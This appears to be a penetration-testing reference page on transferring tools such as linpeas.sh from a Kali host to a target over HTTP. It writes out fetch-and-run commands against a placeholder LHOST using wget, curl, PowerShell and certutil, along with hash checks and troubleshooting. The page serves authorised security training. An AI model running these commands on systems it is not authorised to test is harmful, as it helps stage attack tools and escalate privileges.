Transfer over HTTP using Linux or Windows clients
Needs: Correct server bind and served directory; target-to-server route, available downloader and writable destination
Shell commands
On Kali, serve the directory containing
linpeas.sh:
# Baseline
cd /path/to/tools
python3 -m http.server 8000 --bind 0.0.0.0
# On the Linux target, download into a writable directory and run it
wget http://LHOST:8000/linpeas.sh -O /tmp/linpeas.sh
chmod +x /tmp/linpeas.sh
/tmp/linpeas.sh | tee /tmp/linpeas.txt
# Serve a fixed directory without changing folders
python3 -m http.server 8000 --bind 0.0.0.0 --directory /path/to/tools
# Linux target with curl
curl -fL http://LHOST:8000/FILE -o /tmp/FILE
Read: Kali should log an HTTP request and a successful response. A downloaded enumeration script is a lead generator; manually verify any escalation candidate.
Run inside PowerShell
# Run inside PowerShell
Invoke-WebRequest -Uri "http://LHOST:8000/FILE" -OutFile "C:\Windows\Temp\FILE"
Windows target with PowerShell
REM Windows target with PowerShell
powershell -NoProfile -Command "Invoke-WebRequest -Uri 'http://LHOST:8000/FILE' -OutFile 'C:\Windows\Temp\FILE'"
Windows alternatives
# Windows alternatives
(New-Object Net.WebClient).DownloadFile('http://LHOST:8000/FILE','C:\Windows\Temp\FILE')
Windows alternatives
REM Windows alternatives
curl.exe -fL http://LHOST:8000/FILE -o C:\Windows\Temp\FILE
REM Windows alternatives
certutil.exe -urlcache -split -f http://LHOST:8000/FILE C:\Windows\Temp\FILE
On Kali or Linux
Availability and policy can differ by host.
certutilmay leave URL-cache artifacts; remove only artifacts you created when cleanup is appropriate.
On Kali or Linux:
# On Kali or Linux
sha256sum FILE
sha256sum /tmp/FILE
On Windows
# On Windows
Get-FileHash -Algorithm SHA256 "C:\Windows\Temp\FILE"
Decisive output: matching SHA-256 values establish that the two saved files contain the same bytes. A successful HTTP status alone does not.
Verify → Compare sha256sum on Linux or Get-FileHash -Algorithm SHA256 on Windows, and verify destination permissions.
If it fails → No request: route/bind/egress. 404: path/name. Matching file but no execution: interpreter/format/control. Diagnose each separately. More detail ↓
Explanation & examples
Transfer over HTTP using Linux or Windows clients
- USE WHEN
- A tool/artifact must reach a target that can make an HTTP request
- STARTING ACCESS
- Verified command execution or authenticated remote access and a known network path
- RESULT
- A downloaded file whose destination bytes can be verified
Recognize the clue
From the target's command context inspect downloader availability, writable destination and a route to the fixed served directory.
command -v curl wget
ls -ld /tmp
ip route get LHOST
/usr/bin/curl
/tmp: writable to current user
LHOST via GATEWAY dev INTERFACEMeans: A downloader, destination and plausible outbound path enable an HTTP transfer candidate.
Confirm: Check actual server bind/directory, HTTP request/response and source/destination hashes.
- After validation
- The requested file is retrieved and its bytes match: use the verified copy.
- Ruled out in this context
- No permitted target-to-server route exists: reject this HTTP pull direction.
- Still inconclusive
- A route without a logged request leaves bind/firewall/DNS unresolved.
Troubleshooting: No request: route/bind/egress. 404: path/name. Matching file but no execution: interpreter/format/control. Diagnose each separately.
Additional prerequisite checks
python3 -m http.server 8000 --bind LHOST --directory /PATH/TO/FILES
On Kali, serve the directory containing linpeas.sh:
On the Linux target, download into a writable directory and run it:
Read: Kali should log an HTTP request and a successful response. A downloaded enumeration script is a lead generator; manually verify any escalation candidate.
HTTP variants — fixed server directory, curl, Windows and alternate built-ins
Serve a fixed directory without changing folders
Python's simple server supplies downloads over unencrypted HTTP. Stop it with Ctrl+C when finished.
Linux target with curl
-f reports HTTP errors and -L follows redirects. Use a writable destination.
Windows target with PowerShell
Run inside PowerShell:
From cmd.exe, invoke PowerShell explicitly:
Windows alternatives
Availability and policy can differ by host. certutil may leave URL-cache artifacts; remove only artifacts you created when cleanup is appropriate.
Compare the source and destination hashes.
On Kali or Linux:
On Windows:
Decisive output: matching SHA-256 values establish that the two saved files contain the same bytes. A successful HTTP status alone does not.
Why it works
The target is the HTTP client even when the assessment host started the operation. A 404 is a server-path problem; no request is a different boundary from successful download with incompatible execution.
Worked example · hypothetical
Observation: a download reports success but the tool fails. Test: compare source/destination SHA-256 before execution. Illustrative output: hashes differ and the destination contains an error page. Interpretation: correct the HTTP path and repeat the transfer.
New identity, privilege, host or route? Re-enumerate → All topic tasks →